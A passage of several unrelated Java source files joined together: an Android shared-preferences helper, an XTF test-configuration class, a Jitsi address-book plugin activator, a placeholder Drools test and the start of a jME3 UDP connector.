}
/**
* Retrieves a string value from the shared preferences.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or an empty String.
* @throws ClassCastException if there is a preference with this name that is not a String.
*/
public static String getString(Context context, String key) {
return getPreferences(context).getString(key, "");
}
/**
* Retrieves a string value from the shared preferences.
* Clears the stored field if an error occurs.
* Unlike {@link #getString(Context, String)} does not throw exception.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or an empty String.
*/
public static String getSafeString(Context context, String key) {
try {
return getString(context, key);
} catch (Exception e) {
// If a problem occurred while parsing, better clear the stored field.
PrefUtils.edit(context)
.remove(key)
.apply();
return "";
}
}
/**
* Retrieves a boolean value from the shared preferences.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or defaultValue.
* @throws ClassCastException if there is a preference with this name that is not a boolean.
*/
public static boolean getBoolean(Context context, String key, boolean defaultValue) {
return getPreferences(context).getBoolean(key, defaultValue);
}
/**
* Retrieves a boolean value from the shared preferences.
* Clears the stored field if an error occurs.
* Unlike {@link #getBoolean(Context, String, boolean)} does not throw exception.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or defaultValue.
*/
public static boolean getSafeBoolean(Context context, String key, boolean defaultValue) {
try {
return getBoolean(context, key, defaultValue);
} catch (Exception e) {
// If a problem occurred while parsing, better clear the stored field.
PrefUtils.edit(context)
.remove(key)
.apply();
return defaultValue;
}
}
/**
* Retrieves an integer value from the shared preferences.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or Integer.MIN_VALUE.
* @throws ClassCastException if there is a preference with this name that is not an int.
*/
public static int getInt(Context context, String key) {
return getPreferences(context).getInt(key, Integer.MIN_VALUE);
}
/**
* Retrieves an integer value from the shared preferences.
* Clears the stored field if an error occurs.
* Unlike {@link #getInt(Context, String)} does not throw exception.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or Integer.MIN_VALUE.
*/
public static int getSafeInt(Context context, String key) {
try {
return getInt(context, key);
} catch (Exception e) {
// If a problem occurred while parsing, better clear the stored field.
PrefUtils.edit(context)
.remove(key)
.apply();
return Integer.MIN_VALUE;
}
}
/**
* Retrieves a long value from the shared preferences.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or Long.MIN_VALUE.
* @throws ClassCastException if there is a preference with this name that is not a long.
*/
public static long getLong(Context context, String key) {
return getPreferences(context).getLong(key, Long.MIN_VALUE);
}
/**
* Retrieves a long value from the shared preferences.
* Clears the stored field if an error occurs.
* Unlike {@link #getLong(Context, String)} does not throw exception.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @return The preference value if it exists, or Long.MIN_VALUE.
*/
public static long getSafeLong(Context context, String key) {
try {
return getLong(context, key);
} catch (Exception e) {
// If a problem occurred while parsing, better clear the stored field.
PrefUtils.edit(context)
.remove(key)
.apply();
return Long.MIN_VALUE;
}
}
/**
* Serializes and saves the given object to the shared preferences.
*
* @param context The context.
*/
public static void saveObject(Context context, String key, Object object) {
PrefUtils.edit(context)
.putString(key, new Gson().toJson(object))
.apply();
}
/**
* Gets the serialized object from the shared preferences and de-serializes it.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @param clazz The type of the object.
* @return The de-serializes object or null.
*/
public static <T> T loadObject(Context context, String key, Class<T> clazz) {
final String serializedData = getString(context, key);
if (serializedData.isEmpty()) { return null; }
try {
return new Gson().fromJson(serializedData, clazz);
} catch (Exception e) {
// If a problem occurred while parsing, better clear the stored field.
PrefUtils.edit(context)
.remove(key)
.apply();
return null;
}
}
/**
* Gets the serialized array from the shared preferences, de-serializes it and populates a list.
*
* @param context The context.
* @param key The name of the preference to retrieve.
* @param arrayClass The type of the stored array.
* @return The list of de-serializes object or an empty list.
*/
@NonNull
public static <T> List<T> loadObjectList(Context context, String key, Class<T[]> arrayClass) {
final List<T> list = new ArrayList<>();
final T[] array = loadObject(context, key, arrayClass);
if (array != null) {
list.addAll(Arrays.asList(array));
}
return list;
}
}
|
package cz.xtf;
import java.nio.file.Paths;
import java.util.Map;
import java.util.Properties;
public class TestConfiguration extends XTFConfiguration {
public static final String EAP_LOCATION = "xtf.config.eap.location";
public static final String IMAGE_EAP_PREFIX = "xtf.eap.";
public static final String IMAGE_PREVIOUS_SUFFIX = ".previous";
public static final String IMAGE_EAP_6 = IMAGE_EAP_PREFIX + "6";
public static final String IMAGE_EAP_7 = IMAGE_EAP_PREFIX + "7";
public static final String IMAGE_JDG = "xtf.jdg";
public static final String IMAGE_JDG_CLIENT = "xtf.jdg.client";
public static final String IMAGE_JDV = "xtf.jdv";
public static final String IMAGE_JDV_CLIENT = "xtf.jdv.client";
public static final String IMAGE_JDV_ODBC_TEST_IMAGE = "xtf.jdv.odbc.test";
public static final String IMAGE_EWS_PREFIX = "org.apache.tomcat";
public static final String IMAGE_TOMCAT7 = IMAGE_EWS_PREFIX + "7";
public static final String IMAGE_TOMCAT8 = IMAGE_EWS_PREFIX + "8";
public static final String IMAGE_AMQ = "xtf.amq";
public static final String IMAGE_AMQ7 = "xtf.amq.7";
public static final String IMAGE_POSTGRES = "org.postgresql";
public static final String IMAGE_DERBY = "org.apache.derby";
public static final String IMAGE_MYSQL = "com.mysql";
public static final String IMAGE_MONGO = "com.mongodb";
public static final String IMAGE_NFS = "org.nfs";
public static final String IMAGE_FUSE_JAVA_MAIN = "org.fuse.java_main";
public static final String IMAGE_FUSE_KARAF = "org.fuse.karaf";
public static final String IMAGE_FUSE_EAP = "org.fuse.eap";
public static final String IMAGE_BRMS = "xtf.brms";
public static final String IMAGE_BPMS = "xtf.bpms";
public static final String IMAGE_BPMS_LDAP_TEST_IMAGE = "xtf.bpms.ldap.test";
public static final String IMAGE_SSO = "xtf.sso";
public static final String IMAGE_PHANTOMJS = "xtf.phantomjs";
public static final String IMAGE_MITMPROXY = "xtf.mitmproxy";
public static final String IMAGE_H2 = "xtf.h2";
public static final String IMAGE_MSA = "xtf.msa";
public static final String IMAGE_ZIPKIN = "io.zipkin.java";
public static final String IMAGE_SQUID = "org.squid-cache";
public static final String IMAGE_TCP_PROXY = "xtf.tcp-proxy";
public static final String IMAGE_MM_SERVICE = "org.hawkular.service";
public static final String IMAGE_MM_DATASTORE = "org.hawkular.datastore";
public static final String VERSION_EAP = "xtf.version.eap";
public static final String VERSION_JDV = "xtf.version.jdv";
public static final String VERSION_JDG = "xtf.version.jdg";
public static final String VERSION_EWS = "xtf.version.ews";
public static final String VERSION_KIE = "xtf.version.kie";
public static final String VERSION_JDK = "xtf.version.jdk";
public static final String VERSION_SSO = "xtf.version.sso";
public static final String VERSION_AMQ = "xtf.version.amq";
public static final String VERSION_AMQ7 = "xtf.version.amq7";
public static final String VERSION_MSA = "xtf.version.msa";
public static final String VERSION_FUSE = "xtf.version.fuse";
public static final String CDK_INTERNAL_HOSTNAME = "localhost.localdomain";
public static final String CI_USERNAME = "ci.username";
public static final String CI_PASSWORD = "ci.password";
public static XTFConfiguration get() {
return XTFConfiguration.get();
}
private TestConfiguration() {
super();
}
static {
get().getXTFProperties().clear();
get().copyValues(get().fromPath("test.properties"), true);
// then product properties
get().copyValues(get().fromPath("../test.properties"));
// then system variables
get().copyValues(System.getProperties());
// then environment variables
get().copyValues(fromEnvironment());
get().copyValues(XTFConfiguration.fromEnvironment());
// Use global properties stored in repository - typically images - if not set before
if (Paths.get("global-test.properties").toAbsolutePath().toFile().exists()) {
get().copyValues(get().fromPath("global-test.properties"));
} else if (Paths.get("../global-test.properties").toAbsolutePath().toFile().exists()) {
get().copyValues(get().fromPath("../global-test.properties"));
}
// then defaults
get().copyValues(defaultValues());
get().copyValues(XTFConfiguration.defaultValues());
}
private static String getProperty(String property) {
return get().readValue(property);
}
public static String ciUsername() {
return getProperty(CI_USERNAME);
}
public static String ciPassword() {
return getProperty(CI_PASSWORD);
}
public static String kieVersion() {
return getProperty(VERSION_KIE);
}
public static String getFuseVersion() {
return getProperty(VERSION_FUSE);
}
public static String getMsaVersion() {
return getProperty(VERSION_MSA);
}
public static String imageEap6() {
return getProperty(IMAGE_EAP_6);
}
public static String imageEap7() {
return getProperty(IMAGE_EAP_7);
}
public static String imageJdg() {
return getProperty(IMAGE_JDG);
}
public static String imageJdgClient() {
return getProperty(IMAGE_JDG_CLIENT);
}
public static String imageJdv() {
return getProperty(IMAGE_JDV);
}
public static String imageJdvClient() {
return getProperty(IMAGE_JDV_CLIENT);
}
public static String imageJdvOdbcTestImage() {
return getProperty(IMAGE_JDV_ODBC_TEST_IMAGE);
}
public static String imageEwsPrefix() {
return getProperty(IMAGE_EWS_PREFIX);
}
public static String imageTomcat7() {
return getProperty(IMAGE_TOMCAT7);
}
public static String imageTomcat8() {
return getProperty(IMAGE_TOMCAT8);
}
public static String imageAmq() {
return getProperty(IMAGE_AMQ);
}
public static String imageAmq7() {
return getProperty(IMAGE_AMQ7);
}
public static String imagePostgres() {
return getProperty(IMAGE_POSTGRES);
}
public static String imageDerby() {
return getProperty(IMAGE_DERBY);
}
public static String imageMysql() {
return getProperty(IMAGE_MYSQL);
}
public static String imageMongo() {
return getProperty(IMAGE_MONGO);
}
public static String imageNfs() {
return getProperty(IMAGE_NFS);
}
public static String imageFuseJavaMain() {
return getProperty(IMAGE_FUSE_JAVA_MAIN);
}
public static String imageFuseKaraf() {
return getProperty(IMAGE_FUSE_KARAF);
}
public static String imageFuseEap() {
return getProperty(IMAGE_FUSE_EAP);
}
public static String imageBrms() {
return getProperty(IMAGE_BRMS);
}
public static String imageBpms() {
return getProperty(IMAGE_BPMS);
}
public static String imageBpmsLdapTestImage() {
return getProperty(IMAGE_BPMS_LDAP_TEST_IMAGE);
}
public static String imageSso() {
return getProperty(IMAGE_SSO);
}
public static String imagePhantomjs() {
return getProperty(IMAGE_PHANTOMJS);
}
public static String imageMitmProxy() {
return getProperty(IMAGE_MITMPROXY);
}
public static String imageH2() {
return getProperty(IMAGE_H2);
}
public static String imageMsa() {
return getProperty(IMAGE_MSA);
}
public static String imageZipkin() {
return getProperty(IMAGE_ZIPKIN);
}
public static String imageSquid() {
return getProperty(IMAGE_SQUID);
}
public static String imageTcpProxy() {
return getProperty(IMAGE_TCP_PROXY);
}
public static String imageMmService() {
return getProperty(IMAGE_MM_SERVICE);
}
public static String imageMmDatastore() {
return getProperty(IMAGE_MM_DATASTORE);
}
public static String versionEap() {
return getProperty(VERSION_EAP);
}
public static String versionJdv() {
return getProperty(VERSION_JDV);
}
public static String versionJdg() {
return getProperty(VERSION_JDG);
}
public static String versionEws() {
return getProperty(VERSION_EWS);
}
public static String versionKie() {
return getProperty(VERSION_KIE);
}
public static String versionJdk() {
return getProperty(VERSION_JDK);
}
public static String versionSso() {
return getProperty(VERSION_SSO);
}
public static String versionAmq() {
return getProperty(VERSION_AMQ);
}
public static String versionAmq7() {
return getProperty(VERSION_AMQ7);
}
public static String versionMsa() {
return getProperty(VERSION_MSA);
}
protected static Properties fromEnvironment() {
final Properties props = get().fromEnvironment();
for (final Map.Entry<String, String> entry : System.getenv()
.entrySet()) {
switch (entry.getKey()) {
case "IMAGE_EAP_6":
props.setProperty(IMAGE_EAP_6, entry.getValue());
break;
case "IMAGE_EAP_7":
props.setProperty(IMAGE_EAP_7, entry.getValue());
break;
case "IMAGE_JDG":
props.setProperty(IMAGE_JDG, entry.getValue());
break;
case "IMAGE_JDG_CLIENT":
props.setProperty(IMAGE_JDG_CLIENT, entry.getValue());
break;
case "IMAGE_JDV":
props.setProperty(IMAGE_JDV, entry.getValue());
break;
case "IMAGE_JDV_CLIENT":
props.setProperty(IMAGE_JDV_CLIENT, entry.getValue());
break;
case "IMAGE_TOMCAT7":
props.setProperty(IMAGE_TOMCAT7, entry.getValue());
break;
case "IMAGE_TOMCAT8":
props.setProperty(IMAGE_TOMCAT8, entry.getValue());
break;
case "IMAGE_AMQ":
props.setProperty(IMAGE_AMQ, entry.getValue());
break;
case "IMAGE_AMQ7":
props.setProperty(IMAGE_AMQ7, entry.getValue());
break;
case "IMAGE_POSTGRES":
props.setProperty(IMAGE_POSTGRES, entry.getValue());
break;
case "IMAGE_DERBY":
props.setProperty(IMAGE_DERBY, entry.getValue());
break;
case "IMAGE_MYSQL":
props.setProperty(IMAGE_MYSQL, entry.getValue());
break;
case "IMAGE_MONGO":
props.setProperty(IMAGE_MONGO, entry.getValue());
break;
case "IMAGE_NFS":
props.setProperty(IMAGE_NFS, entry.getValue());
break;
case "IMAGE_FUSE_JAVA_MAIN":
props.setProperty(IMAGE_FUSE_JAVA_MAIN, entry.getValue());
break;
case "IMAGE_FUSE_KARAF":
props.setProperty(IMAGE_FUSE_KARAF, entry.getValue());
break;
case "IMAGE_FUSE_EAP":
props.setProperty(IMAGE_FUSE_EAP, entry.getValue());
break;
case "IMAGE_BRMS":
props.setProperty(IMAGE_BRMS, entry.getValue());
break;
case "IMAGE_BPMS":
props.setProperty(IMAGE_BPMS, entry.getValue());
break;
case "IMAGE_BPMS_PREVIOUS":
props.setProperty(IMAGE_BPMS + IMAGE_PREVIOUS_SUFFIX, entry.getValue());
break;
case "IMAGE_BPMS_LDAP_TEST":
props.setProperty(IMAGE_BPMS_LDAP_TEST_IMAGE, entry.getValue());
break;
case "IMAGE_SSO":
props.setProperty(IMAGE_SSO, entry.getValue());
break;
case "IMAGE_MSA":
props.setProperty(IMAGE_MSA, entry.getValue());
break;
case "IMAGE_SQUID":
props.setProperty(IMAGE_SQUID, entry.getValue());
break;
case "IMAGE_TCP_PROXY":
props.setProperty(IMAGE_TCP_PROXY, entry.getValue());
break;
case "IMAGE_PHANTOMJS":
props.setProperty(IMAGE_PHANTOMJS, entry.getValue());
break;
case "IMAGE_MITMPROXY":
props.setProperty(IMAGE_MITMPROXY, entry.getValue());
break;
case "IMAGE_MM_SERVICE":
props.setProperty(IMAGE_MM_SERVICE, entry.getValue());
break;
case "IMAGE_MM_DATASTORE":
props.setProperty(IMAGE_MM_DATASTORE, entry.getValue());
break;
case "CI_USERNAME":
props.setProperty(CI_USERNAME, entry.getValue());
break;
case "CI_PASSWORD":
props.setProperty(CI_PASSWORD, entry.getValue());
break;
case "VERSION_EAP":
props.setProperty(VERSION_EAP, entry.getValue());
break;
case "VERSION_JDV":
props.setProperty(VERSION_JDV, entry.getValue());
break;
case "VERSION_JDG":
props.setProperty(VERSION_JDG, entry.getValue());
break;
case "VERSION_EWS":
props.setProperty(VERSION_EWS, entry.getValue());
break;
case "VERSION_FUSE":
props.setProperty(VERSION_FUSE, entry.getValue());
break;
case "VERSION_KIE":
props.setProperty(VERSION_KIE, entry.getValue());
break;
case "VERSION_JDK":
props.setProperty(VERSION_JDK, entry.getValue());
break;
case "VERSION_SSO":
props.setProperty(VERSION_SSO, entry.getValue());
break;
case "VERSION_AMQ":
props.setProperty(VERSION_AMQ, entry.getValue());
break;
case "VERSION_AMQ7":
props.setProperty(VERSION_AMQ7, entry.getValue());
break;
default:
break;
}
}
return props;
}
protected static Properties defaultValues() {
final Properties props = new Properties();
props.setProperty(VERSION_FUSE, "6.2.1");
return props;
}
}
|
package net.java.sip.communicator.plugin.addrbook;
import java.util.*;
import net.java.sip.communicator.plugin.addrbook.msoutlook.*;
import net.java.sip.communicator.plugin.addrbook.msoutlook.calendar.*;
import net.java.sip.communicator.service.calendar.*;
import net.java.sip.communicator.service.contactsource.*;
import net.java.sip.communicator.service.gui.*;
import net.java.sip.communicator.service.protocol.*;
import net.java.sip.communicator.service.protocol.event.*;
import net.java.sip.communicator.util.*;
import net.java.sip.communicator.util.Logger;
import org.jitsi.service.configuration.*;
import org.jitsi.service.resources.*;
import org.jitsi.util.*;
import org.osgi.framework.*;
/**
* Implements <tt>BundleActivator</tt> for the addrbook plug-in which provides
* support for OS-specific Address Book.
*
* @author Lyubomir Marinov
* @author Hristo Terezov
*/
public class AddrBookActivator
implements BundleActivator
{
/**
* Boolean property that defines whether the integration of the Outlook
* address book is enabled.
*/
public static final String PNAME_ENABLE_MICROSOFT_OUTLOOK_SEARCH =
"plugin.addrbook.ENABLE_MICROSOFT_OUTLOOK_SEARCH";
/**
* Boolean property that defines whether the integration of the OS X
* address book is enabled.
*/
public static final String PNAME_ENABLE_MACOSX_ADDRESS_BOOK_SEARCH =
"plugin.addrbook.ENABLE_MACOSX_ADDRESS_BOOK_SEARCH";
/**
* Boolean property that defines whether changing the default IM application
* is enabled or not.
*/
public static final String PNAME_ENABLE_DEFAULT_IM_APPLICATION_CHANGE =
"plugin.addrbook.ENABLE_DEFAULT_IM_APPLICATION_CHANGE";
/**
* Boolean property that defines whether Jitsi should be the default IM
* Application or not.
*/
public static final String PNAME_MAKE_JITSI_DEFAULT_IM_APPLICATION =
"plugin.addrbook.REGISTER_AS_DEFAULT_IM_PROVIDER";
/**
* The <tt>Logger</tt> used by the <tt>AddrBookActivator</tt> class and its
* instances for logging output.
*/
private static final Logger logger
= Logger.getLogger(AddrBookActivator.class);
/**
* The <tt>BundleContext</tt> in which the addrbook plug-in is started.
*/
private static BundleContext bundleContext;
/**
* The <tt>ContactSourceService</tt> implementation for the OS-specific
* Address Book.
*/
private static ContactSourceService css;
/**
* The <tt>ServiceRegistration</tt> of {@link #css} in the
* <tt>BundleContext</tt> in which this <tt>AddrBookActivator</tt> has been
* started.
*/
private static ServiceRegistration cssServiceRegistration;
/**
* The <tt>ResourceManagementService</tt> through which we access resources.
*/
private static ResourceManagementService resourceService;
/**
* The <tt>ConfigurationService</tt> through which we access configuration
* properties.
*/
private static ConfigurationService configService;
/**
* The calendar service
*/
private static CalendarServiceImpl calendarService = null;
/**
* List of the providers with registration listener.
*/
private static List<ProtocolProviderService> providers
= new ArrayList<ProtocolProviderService>();
/**
* The registered PhoneNumberI18nService.
*/
private static PhoneNumberI18nService phoneNumberI18nService;
/**
* The registration change listener.
*/
private static RegistrationStateChangeListener providerListener
= new RegistrationStateChangeListener()
{
@Override
public void registrationStateChanged(
RegistrationStateChangeEvent evt)
{
if(evt.getNewState().equals(RegistrationState.REGISTERED))
{
if(calendarService != null)
calendarService.handleProviderAdded(
evt.getProvider());
}
}
};
/**
* A listener for addition of <tt>ProtocolProviderService</tt>
*/
private static ServiceListener serviceListener = new ServiceListener()
{
@Override
public void serviceChanged(ServiceEvent event)
{
Object sService
= bundleContext.getService(event.getServiceReference());
// we don't care if the source service is not a protocol provider
if (! (sService instanceof ProtocolProviderService))
{
return;
}
ProtocolProviderService pps = (ProtocolProviderService)sService;
if (event.getType() == ServiceEvent.REGISTERED)
{
synchronized(providers)
{
providers.add(pps);
}
pps.addRegistrationStateChangeListener(providerListener);
}
if (event.getType() == ServiceEvent.UNREGISTERING)
{
synchronized(providers)
{
providers.remove(pps);
}
pps.removeRegistrationStateChangeListener(providerListener);
}
}
};
/**
* Gets the <tt>ResourceManagementService</tt> to be used by the
* functionality of the addrbook plug-in.
*
* @return the <tt>ResourceManagementService</tt> to be used by the
* functionality of the addrbook plug-in
*/
public static ResourceManagementService getResources()
{
if (resourceService == null)
{
resourceService
= ServiceUtils.getService(
bundleContext,
ResourceManagementService.class);
}
return resourceService;
}
public static CalendarServiceImpl getCalendarService()
{
return calendarService;
}
/**
* Gets the <tt>ConfigurationService</tt> to be used by the
* functionality of the addrbook plug-in.
*
* @return the <tt>ConfigurationService</tt> to be used by the
* functionality of the addrbook plug-in
*/
public static ConfigurationService getConfigService()
{
if (configService == null)
{
configService
= ServiceUtils.getService(
bundleContext,
ConfigurationService.class);
}
return configService;
}
/**
* Starts the addrbook plug-in.
*
* @param bundleContext the <tt>BundleContext</tt> in which the addrbook
* plug-in is to be started
* @throws Exception if anything goes wrong while starting the addrbook
* plug-in
* @see BundleActivator#start(BundleContext)
*/
public void start(BundleContext bundleContext)
throws Exception
{
if (logger.isInfoEnabled())
logger.info("Address book \""
+ "plugin.addrbook.ADDRESS_BOOKS"
+ "\" ... [STARTED]");
AddrBookActivator.bundleContext = bundleContext;
Dictionary<String, String> properties = new Hashtable<String, String>();
// Registers the sip config panel as advanced configuration form.
properties.put( ConfigurationForm.FORM_TYPE,
ConfigurationForm.CONTACT_SOURCE_TYPE);
bundleContext.registerService(
ConfigurationForm.class.getName(),
new LazyConfigurationForm(
AdvancedConfigForm.class.getName(),
getClass().getClassLoader(),
null,
"plugin.addrbook.ADDRESS_BOOKS",
101, false),
properties);
startService();
startCalendarService();
}
/**
* Stops the addrbook plug-in.
*
* @param bundleContext the <tt>BundleContext</tt> in which the addrbook
* plug-in is to be stopped
* @throws Exception if anything goes wrong while stopping the addrbook
* plug-in
* @see BundleActivator#stop(BundleContext)
*/
public void stop(BundleContext bundleContext)
throws Exception
{
if (logger.isInfoEnabled())
logger.info("Address book \""
+ "plugin.addrbook.ADDRESS_BOOKS"
+ "\" ... [STOPPED]");
stopService();
stopCalendarService();
}
/**
* Starts the address book service.
*/
static void startService()
{
/* Register the ContactSourceService implementation (if any). */
String cssClassName;
ConfigurationService configService = getConfigService();
if (OSUtils.IS_WINDOWS
&& configService.getBoolean(
PNAME_ENABLE_MICROSOFT_OUTLOOK_SEARCH, true))
{
cssClassName
= "net.java.sip.communicator.plugin.addrbook"
+ ".msoutlook.MsOutlookAddrBookContactSourceService";
}
else if (OSUtils.IS_MAC
&& configService.getBoolean(
PNAME_ENABLE_MACOSX_ADDRESS_BOOK_SEARCH, true))
{
cssClassName
= "net.java.sip.communicator.plugin.addrbook"
+ ".macosx.MacOSXAddrBookContactSourceService";
}
else
return;
if (OSUtils.IS_WINDOWS
&& configService.getBoolean(
PNAME_ENABLE_DEFAULT_IM_APPLICATION_CHANGE, true))
{
String isDefaultIMAppString = configService.getString(
PNAME_MAKE_JITSI_DEFAULT_IM_APPLICATION);
if(isDefaultIMAppString == null)
{
configService.setProperty(
PNAME_MAKE_JITSI_DEFAULT_IM_APPLICATION,
DefaultIMApp.isJitsiDefaultIMApp());
}
else
{
boolean isDefaultIMApp
= Boolean.parseBoolean(isDefaultIMAppString);
if(DefaultIMApp.isJitsiDefaultIMApp() != isDefaultIMApp)
{
if(isDefaultIMApp)
{
setAsDefaultIMApplication();
}
else
{
unsetDefaultIMApplication();
}
}
}
}
try
{
css
= (ContactSourceService)
Class.forName(cssClassName).newInstance();
if(cssClassName.equals("net.java.sip.communicator.plugin.addrbook"
+ ".msoutlook.MsOutlookAddrBookContactSourceService"))
{
MsOutlookAddrBookContactSourceService contactSource
= ((MsOutlookAddrBookContactSourceService)css);
MsOutlookAddrBookContactSourceService.initMAPI(
contactSource.createNotificationDelegate());
}
}
catch (Exception ex)
{
String msg
= "Failed to instantiate " + cssClassName + ": "
+ ex.getMessage();
logger.error(msg);
if (logger.isDebugEnabled())
logger.debug(msg, ex);
return;
}
try
{
cssServiceRegistration
= bundleContext.registerService(
ContactSourceService.class.getName(),
css,
null);
}
finally
{
if (cssServiceRegistration == null)
{
if (css instanceof AsyncContactSourceService)
((AsyncContactSourceService) css).stop();
css = null;
}
else
{
if (logger.isInfoEnabled())
logger.info("Address book \""
+ css.getDisplayName()
+ "\" ... [REGISTERED]");
}
}
}
/**
* Tries to start the calendar service.
*/
static void startCalendarService()
{
if(OSUtils.IS_WINDOWS && !getConfigService().getBoolean(
CalendarService.PNAME_FREE_BUSY_STATUS_DISABLED, false))
{
calendarService = new CalendarServiceImpl();
try
{
MsOutlookAddrBookContactSourceService.initMAPI(null);
}
catch (MsOutlookMAPIHResultException ex)
{
String msg
= "Failed to initialize MAPI: "
+ ex.getMessage();
logger.error(msg);
if (logger.isDebugEnabled())
logger.debug(msg, ex);
return;
}
bundleContext.addServiceListener(serviceListener);
for(ProtocolProviderService pps : getProtocolProviders())
{
synchronized(providers)
{
providers.add(pps);
}
pps.addRegistrationStateChangeListener(providerListener);
}
calendarService.start();
}
}
/**
* Stops the calendar service.
*/
static void stopCalendarService()
{
if(OSUtils.IS_WINDOWS && !getConfigService().getBoolean(
CalendarService.PNAME_FREE_BUSY_STATUS_DISABLED, false))
{
bundleContext.removeServiceListener(serviceListener);
synchronized(providers)
{
for(ProtocolProviderService pps : providers)
{
pps.removeRegistrationStateChangeListener(providerListener);
}
}
calendarService = null;
MsOutlookAddrBookContactSourceService.UninitializeMAPI();
}
}
/**
* Stop the previously registered service.
*/
static void stopService()
{
try
{
if (cssServiceRegistration != null)
{
cssServiceRegistration.unregister();
cssServiceRegistration = null;
}
}
finally
{
if (css != null)
{
if (css instanceof AsyncContactSourceService)
((AsyncContactSourceService) css).stop();
if (logger.isInfoEnabled())
logger.info("Address book \""
+ css.getDisplayName()
+ "\" ... [UNREGISTERED]");
css = null;
}
}
}
/**
* Sets Jitsi as Default IM application.
*/
public static void setAsDefaultIMApplication()
{
if (OSUtils.IS_WINDOWS)
{
DefaultIMApp.setJitsiAsDefaultApp();
}
}
/**
* Unsets Jitsi as Default IM application.
*/
public static void unsetDefaultIMApplication()
{
if (OSUtils.IS_WINDOWS)
{
DefaultIMApp.unsetDefaultApp();
}
}
public static List<ProtocolProviderService> getProtocolProviders()
{
ServiceReference[] ppsRefs;
List<ProtocolProviderService> result
= new ArrayList<ProtocolProviderService>();
try
{
ppsRefs
= bundleContext.getServiceReferences(
ProtocolProviderService.class.getName(),
null);
}
catch (InvalidSyntaxException ise)
{
ppsRefs = null;
}
if ((ppsRefs == null) || (ppsRefs.length == 0))
{
return result;
}
for (ServiceReference ppsRef : ppsRefs)
{
ProtocolProviderService pps
= (ProtocolProviderService)
bundleContext.getService(ppsRef);
result.add(pps);
}
return result;
}
/**
* Returns the PhoneNumberI18nService.
* @return returns the PhoneNumberI18nService.
*/
public static PhoneNumberI18nService getPhoneNumberI18nService()
{
if(phoneNumberI18nService == null)
{
phoneNumberI18nService = ServiceUtils.getService(
bundleContext,
PhoneNumberI18nService.class);
}
return phoneNumberI18nService;
}
}
|
package org.drools.rule;
import junit.framework.TestCase;
public class GroupElementTest extends TestCase {
public void test1() {
//dummy test
assertTrue(true);
}
// public void testAddNestedAnd() {
// And and1 = new And();
// Column column1 = new Column(0, null);
// and1.addChild( column1 );
// Column column2 = new Column(0, null);
// and1.addChild( column2 );
// assertEquals( 2, and1.getChildren().size() );
// assertSame( column1, and1.getChildren().get( 0 ) );
// assertSame( column2, and1.getChildren().get( 1 ) );
// And and2 = new And();
// and2.addChild( and1 );
// assertEquals( 2, and2.getChildren().size() );
// assertSame( column1, and2.getChildren().get( 0 ) );
// assertSame( column2, and2.getChildren().get( 1 ) );
// public void testAddNestedOr() {
// Or or1 = new Or();
// Column column1 = new Column(0, null);
// or1.addChild( column1 );
// Column column2 = new Column(0, null);
// or1.addChild( column2 );
// assertEquals( 2, or1.getChildren().size() );
// assertSame( column1, or1.getChildren().get( 0 ) );
// assertSame( column2, or1.getChildren().get( 1 ) );
// Or or2 = new Or();
// or2.addChild( or1 );
// assertEquals( 2, or2.getChildren().size() );
// assertSame( column1, or2.getChildren().get( 0 ) );
// assertSame( column2, or2.getChildren().get( 1 ) );
// public void testAddSingleBranchAnd() {
// And and1 = new And();
// Column column = new Column(0, null);
// and1.addChild( column );
// assertEquals( 1, and1.getChildren().size() );
// assertSame( column, and1.getChildren().get( 0 ) );
// Or or1= new Or();
// or1.addChild( and1 );
// assertEquals( 1, or1.getChildren().size() );
// assertSame( column, or1.getChildren().get( 0 ) );
// public void testAddSingleBranchOr() {
// Or or1 = new Or();
// Column column = new Column(0, null);
// or1.addChild( column );
// assertEquals( 1, or1.getChildren().size() );
// assertSame( column, or1.getChildren().get( 0 ) );
// And and1= new And();
// and1.addChild( or1 );
// assertEquals( 1, and1.getChildren().size() );
// assertSame( column, and1.getChildren().get( 0 ) );
// public void testX() {
// Or or1 = new Or();
// Column column1 = new Column(0, null);
// or1.addChild( column1 );
// Column column2 = new Column(0, null);
// or1.addChild( column2 );
// And and1 = new And();
// and1.addChild( or1 );
// assertEquals( 1, and1.getChildren().size() );
// assertSame( or1, and1.getChildren().get( 0 ) );
// assertSame( column1, or1.getChildren().get( 0 ) );
// assertSame( column2, or1.getChildren().get( 1 ) );
// Or or2 = new Or();
// or2.addChild( and1 );
// assertEquals( 2, or1.getChildren().size() );
// assertSame( column1, or1.getChildren().get( 0 ) );
// assertSame( column2, or2.getChildren().get( 1 ) );
}
|
package com.jme3.network.kernel.udp;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.util.concurrent.atomic.AtomicBoolean;
import com.jme3.network.kernel.*;
/**
* A straight forward datagram socket-based UDP connector
* implementation.
*
* @version $Revision$
* @author Paul Speed
*/
public class UdpConnector implements Connector
{
private DatagramSocket sock = new DatagramSocket();
private SocketAddress remoteAddress;
private byte[] buffer = new byte[65535];
private AtomicBoolean connected = new AtomicBoolean(false);
/**
* In order to provide proper available() checking, we
* potentially queue one datagram.
*/
private DatagramPacket pending;
/**
* Creates a new UDP connection that send datagrams to the
* specified address and port.
*/
public UdpConnector( InetAddress local, int localPort,
InetAddress remote, int remotePort ) throws IOException
{
this.sock = new DatagramSocket( localPort, local );
remoteAddress = new InetSocketAddress( remote, remotePort );
// Setup to receive only from the remote address
//sock.connect( remoteAddress );
// The above is a really nice idea since it means that we
// wouldn't get random datagram packets from anything that
// happened to send garbage to our UDP port. The problem is
// when connecting to a server at "localhost" because "localhost"
// will/should always resolve to 127.0.0.1... but the server
// doesn't send packets from 127.0.0.1 because it's listening
// on the real interface. And that doesn't match and this end
// rejects them.
// This means at some point the read() code will need to validate
// that the packets came from the real server before parsing them.
// Otherwise we likely throw random deserialization errors and kill
// the client. Which may or may not warrant extra code below. <shrug>
connected.set(true);
}
protected void checkClosed()
{
if( sock == null )
throw new ConnectorException( "Connection is closed:" + remoteAddress );
}
public boolean isConnected()
{
if( sock == null )
return false;
return sock.isConnected();
}
